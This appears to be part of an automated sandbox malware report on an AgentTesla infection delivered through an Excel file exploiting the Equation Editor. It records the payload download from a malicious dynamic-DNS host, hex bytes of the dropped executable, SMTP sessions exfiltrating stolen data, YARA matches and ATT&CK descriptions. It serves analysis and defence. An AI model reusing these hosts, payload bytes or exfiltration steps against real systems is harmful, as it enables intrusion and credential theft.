Jan 27, 2021 09:15:47.515614033 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.515645027 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.515683889 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.515693903 CET	49165	80	192.168.2.22	103.153.76.181

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 27, 2021 09:15:46.101658106 CET	52197	53	192.168.2.22	8.8.8.8
Jan 27, 2021 09:15:46.163057089 CET	53	52197	8.8.8.8	192.168.2.22
Jan 27, 2021 09:17:18.356118917 CET	53099	53	192.168.2.22	8.8.8.8
Jan 27, 2021 09:17:18.545075893 CET	53	53099	8.8.8.8	192.168.2.22
Jan 27, 2021 09:17:18.545957088 CET	53099	53	192.168.2.22	8.8.8.8
Jan 27, 2021 09:17:18.602505922 CET	53	53099	8.8.8.8	192.168.2.22
Jan 27, 2021 09:17:18.667681932 CET	52838	53	192.168.2.22	8.8.8.8
Jan 27, 2021 09:17:18.724380016 CET	53	52838	8.8.8.8	192.168.2.22
Jan 27, 2021 09:17:21.248164892 CET	61200	53	192.168.2.22	8.8.8.8
Jan 27, 2021 09:17:21.451677084 CET	53	61200	8.8.8.8	192.168.2.22
Jan 27, 2021 09:17:21.452619076 CET	61200	53	192.168.2.22	8.8.8.8
Jan 27, 2021 09:17:21.509044886 CET	53	61200	8.8.8.8	192.168.2.22
Jan 27, 2021 09:17:21.509840012 CET	61200	53	192.168.2.22	8.8.8.8
Jan 27, 2021 09:17:21.571635008 CET	53	61200	8.8.8.8	192.168.2.22
Jan 27, 2021 09:17:21.642004967 CET	49548	53	192.168.2.22	8.8.8.8
Jan 27, 2021 09:17:21.698662043 CET	53	49548	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 27, 2021 09:15:46.101658106 CET	192.168.2.22	8.8.8.8	0xaf1e	Standard query (0)	suresb1sndyintercont.dns.army	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:18.356118917 CET	192.168.2.22	8.8.8.8	0x8282	Standard query (0)	smtp.migeulez.com	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:18.545957088 CET	192.168.2.22	8.8.8.8	0x8282	Standard query (0)	smtp.migeulez.com	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:18.667681932 CET	192.168.2.22	8.8.8.8	0xebf1	Standard query (0)	smtp.migeulez.com	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:21.248164892 CET	192.168.2.22	8.8.8.8	0xd368	Standard query (0)	smtp.migeulez.com	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:21.452619076 CET	192.168.2.22	8.8.8.8	0xd368	Standard query (0)	smtp.migeulez.com	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:21.509840012 CET	192.168.2.22	8.8.8.8	0xd368	Standard query (0)	smtp.migeulez.com	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:21.642004967 CET	192.168.2.22	8.8.8.8	0x4226	Standard query (0)	smtp.migeulez.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 27, 2021 09:15:46.163057089 CET	8.8.8.8	192.168.2.22	0xaf1e	No error (0)	suresb1sndyintercont.dns.army		103.153.76.181	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:18.545075893 CET	8.8.8.8	192.168.2.22	0x8282	No error (0)	smtp.migeulez.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)
Jan 27, 2021 09:17:18.545075893 CET	8.8.8.8	192.168.2.22	0x8282	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:18.545075893 CET	8.8.8.8	192.168.2.22	0x8282	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:18.545075893 CET	8.8.8.8	192.168.2.22	0x8282	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:18.545075893 CET	8.8.8.8	192.168.2.22	0x8282	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:18.602505922 CET	8.8.8.8	192.168.2.22	0x8282	No error (0)	smtp.migeulez.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)
Jan 27, 2021 09:17:18.602505922 CET	8.8.8.8	192.168.2.22	0x8282	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:18.602505922 CET	8.8.8.8	192.168.2.22	0x8282	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:18.602505922 CET	8.8.8.8	192.168.2.22	0x8282	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:18.602505922 CET	8.8.8.8	192.168.2.22	0x8282	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:18.724380016 CET	8.8.8.8	192.168.2.22	0xebf1	No error (0)	smtp.migeulez.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)
Jan 27, 2021 09:17:18.724380016 CET	8.8.8.8	192.168.2.22	0xebf1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:18.724380016 CET	8.8.8.8	192.168.2.22	0xebf1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:18.724380016 CET	8.8.8.8	192.168.2.22	0xebf1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:18.724380016 CET	8.8.8.8	192.168.2.22	0xebf1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:21.451677084 CET	8.8.8.8	192.168.2.22	0xd368	No error (0)	smtp.migeulez.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)
Jan 27, 2021 09:17:21.451677084 CET	8.8.8.8	192.168.2.22	0xd368	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:21.451677084 CET	8.8.8.8	192.168.2.22	0xd368	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:21.451677084 CET	8.8.8.8	192.168.2.22	0xd368	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:21.451677084 CET	8.8.8.8	192.168.2.22	0xd368	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:21.509044886 CET	8.8.8.8	192.168.2.22	0xd368	No error (0)	smtp.migeulez.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)
Jan 27, 2021 09:17:21.509044886 CET	8.8.8.8	192.168.2.22	0xd368	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:21.509044886 CET	8.8.8.8	192.168.2.22	0xd368	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:21.509044886 CET	8.8.8.8	192.168.2.22	0xd368	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:21.509044886 CET	8.8.8.8	192.168.2.22	0xd368	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:21.571635008 CET	8.8.8.8	192.168.2.22	0xd368	No error (0)	smtp.migeulez.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)
Jan 27, 2021 09:17:21.571635008 CET	8.8.8.8	192.168.2.22	0xd368	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:21.571635008 CET	8.8.8.8	192.168.2.22	0xd368	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:21.571635008 CET	8.8.8.8	192.168.2.22	0xd368	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:21.571635008 CET	8.8.8.8	192.168.2.22	0xd368	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:21.698662043 CET	8.8.8.8	192.168.2.22	0x4226	No error (0)	smtp.migeulez.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)
Jan 27, 2021 09:17:21.698662043 CET	8.8.8.8	192.168.2.22	0x4226	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:21.698662043 CET	8.8.8.8	192.168.2.22	0x4226	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:21.698662043 CET	8.8.8.8	192.168.2.22	0x4226	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)
Jan 27, 2021 09:17:21.698662043 CET	8.8.8.8	192.168.2.22	0x4226	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

suresb1sndyintercont.dns.army

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	103.153.76.181	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Jan 27, 2021 09:15:46.397888899 CET	0	OUT	GET /receipst/winlog.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: suresb1sndyintercont.dns.army Connection: Keep-Alive
Jan 27, 2021 09:15:46.624223948 CET	2	IN	HTTP/1.1 200 OK Date: Wed, 27 Jan 2021 08:15:44 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.2.34 Last-Modified: Wed, 27 Jan 2021 06:00:08 GMT ETag: "106000-5b9db7bb52a00" Accept-Ranges: bytes Content-Length: 1073152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 78 0f 11 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 50 00 00 c6 0e 00 00 98 01 00 00 00 00 00 9e e5 0e 00 00 20 00 00 00 00 0f 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 10 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c e5 0e 00 4f 00 00 00 00 00 0f 00 7c 95 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 10 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 c5 0e 00 00 20 00 00 00 c6 0e 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 7c 95 01 00 00 00 0f 00 00 96 01 00 00 c8 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 10 00 00 02 00 00 00 5e 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 e5 0e 00 00 00 00 00 48 00 00 00 02 00 05 00 98 43 02 00 1c 5c 01 00 03 00 00 00 01 00 00 06 b4 9f 03 00 98 45 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 30 02 00 1f 00 00 00 00 00 00 00 00 00 28 1d 00 00 0a 28 1e 00 00 0a 00 de 02 00 dc 00 28 07 00 00 06 02 6f 1f 00 00 0a 00 2a 00 01 10 00 00 02 00 01 00 0e 0f 00 02 00 00 00 00 aa 00 02 16 28 20 00 00 0a 00 02 16 28 21 00 00 0a 00 02 17 28 22 00 00 0a 00 02 17 28 23 00 00 0a 00 02 17 28 24 00 00 0a 00 2a 4e 00 02 28 09 00 00 06 6f 70 04 00 06 28 25 00 00 0a 00 2a 26 00 02 28 26 00 00 0a 00 2a ce 73 27 00 00 0a 80 01 00 00 04 73 28 00 00 0a 80 02 00 00 04 73 29 00 00 0a 80 03 00 00 04 73 2a 00 00 0a 80 04 00 00 04 73 2b 00 00 0a 80 05 00 00 04 2a 00 00 00 13 30 01 00 10 00 00 00 01 00 00 11 00 7e 01 00 00 04 6f 2c 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 02 00 00 11 00 7e 02 00 00 04 6f 2d 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 03 00 00 11 00 7e 03 00 00 04 6f 2e 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 04 00 00 11 00 7e 04 00 00 04 6f 2f 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 05 00 00 11 00 7e 05 00 00 04 6f 30 00 00 0a 0a 2b 00 06 2a 26 00 02 28 31 00 00 0a 00 2a 00 00 13 30 02 00 3c 00 00 00 06 00 00 11 00 7e 06 00 00 04 14 28 32 00 00 0a 0b 07 2c 21 72 01 00 00 70 d0 05 00 00 02 28 33 00 00 0a 6f 34 00 00 0a 73 35 00 00 0a 0c 08 80 06 00 00 04 00 00 7e 06 00 00 04 0a 2b 00 06 2a 13 30 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELx`P @ @LO\| H.text `.rsrc\|@@.reloc^@BHC\E0(((o( (!("(#($N(op(%&(&s's(s)ss+0~o,+0~o-+0~o.+0~o/+0~o0+&(10<~(2,!rp(3o4s5~+*0

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jan 27, 2021 09:17:19.568044901 CET	587	49166	208.91.199.225	192.168.2.22	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jan 27, 2021 09:17:19.568444014 CET	49166	587	192.168.2.22	208.91.199.225	EHLO 980108
Jan 27, 2021 09:17:19.744249105 CET	587	49166	208.91.199.225	192.168.2.22	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 DSN
Jan 27, 2021 09:17:19.746047974 CET	49166	587	192.168.2.22	208.91.199.225	AUTH login ZmFjdHVyYWNpb25AbWlnZXVsZXouY29t
Jan 27, 2021 09:17:19.922535896 CET	587	49166	208.91.199.225	192.168.2.22	334 UGFzc3dvcmQ6
Jan 27, 2021 09:17:20.101150990 CET	587	49166	208.91.199.225	192.168.2.22	235 2.7.0 Authentication successful
Jan 27, 2021 09:17:20.102175951 CET	49166	587	192.168.2.22	208.91.199.225	MAIL FROM:<facturacion@migeulez.com>
Jan 27, 2021 09:17:20.279299021 CET	587	49166	208.91.199.225	192.168.2.22	250 2.1.0 Ok
Jan 27, 2021 09:17:20.280035973 CET	49166	587	192.168.2.22	208.91.199.225	RCPT TO:<facturacion@migeulez.com>
Jan 27, 2021 09:17:20.464610100 CET	587	49166	208.91.199.225	192.168.2.22	250 2.1.5 Ok
Jan 27, 2021 09:17:20.465126038 CET	49166	587	192.168.2.22	208.91.199.225	DATA
Jan 27, 2021 09:17:20.641292095 CET	587	49166	208.91.199.225	192.168.2.22	354 End data with <CR><LF>.<CR><LF>
Jan 27, 2021 09:17:20.645859957 CET	49166	587	192.168.2.22	208.91.199.225	.
Jan 27, 2021 09:17:20.919286013 CET	587	49166	208.91.199.225	192.168.2.22	250 2.0.0 Ok: queued as 5E7F8182CBD
Jan 27, 2021 09:17:22.420790911 CET	587	49167	208.91.198.143	192.168.2.22	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jan 27, 2021 09:17:22.421289921 CET	49167	587	192.168.2.22	208.91.198.143	EHLO 980108
Jan 27, 2021 09:17:22.594434023 CET	587	49167	208.91.198.143	192.168.2.22	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 DSN
Jan 27, 2021 09:17:22.594854116 CET	49167	587	192.168.2.22	208.91.198.143	AUTH login ZmFjdHVyYWNpb25AbWlnZXVsZXouY29t
Jan 27, 2021 09:17:22.768768072 CET	587	49167	208.91.198.143	192.168.2.22	334 UGFzc3dvcmQ6
Jan 27, 2021 09:17:22.944883108 CET	587	49167	208.91.198.143	192.168.2.22	235 2.7.0 Authentication successful
Jan 27, 2021 09:17:22.945167065 CET	49167	587	192.168.2.22	208.91.198.143	MAIL FROM:<facturacion@migeulez.com>
Jan 27, 2021 09:17:23.119394064 CET	587	49167	208.91.198.143	192.168.2.22	250 2.1.0 Ok
Jan 27, 2021 09:17:23.119929075 CET	49167	587	192.168.2.22	208.91.198.143	RCPT TO:<facturacion@migeulez.com>
Jan 27, 2021 09:17:23.302701950 CET	587	49167	208.91.198.143	192.168.2.22	250 2.1.5 Ok
Jan 27, 2021 09:17:23.303127050 CET	49167	587	192.168.2.22	208.91.198.143	DATA
Jan 27, 2021 09:17:23.476356030 CET	587	49167	208.91.198.143	192.168.2.22	354 End data with <CR><LF>.<CR><LF>
Jan 27, 2021 09:17:24.103679895 CET	587	49167	208.91.198.143	192.168.2.22	250 2.0.0 Ok: queued as 375861C2266

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 532 Parent PID: 584

General

Start time:	09:14:49
Start date:	27/01/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13feb0000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: EQNEDT32.EXE PID: 2520 Parent PID: 584

General

Start time:	09:15:09
Start date:	27/01/2021
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: vbc.exe PID: 2736 Parent PID: 2520

General

Start time:	09:15:12
Start date:	27/01/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\Public\vbc.exe'
Imagebase:	0xc20000
File size:	1073152 bytes
MD5 hash:	411FA0337649AD03B57D223E60680397
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000004.00000002.2159933636.00000000023DA000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000004.00000002.2159922481.00000000023C1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2160179580.00000000033C8000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Analysis Process: vbc.exe PID: 2836 Parent PID: 2736

General

Start time:	09:15:13
Start date:	27/01/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\vbc.exe
Imagebase:	0xc20000
File size:	1073152 bytes
MD5 hash:	411FA0337649AD03B57D223E60680397
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.2370560370.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.2371213433.0000000002591000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2371213433.0000000002591000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.2371263271.0000000002618000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Disassembly

Code Analysis

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Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

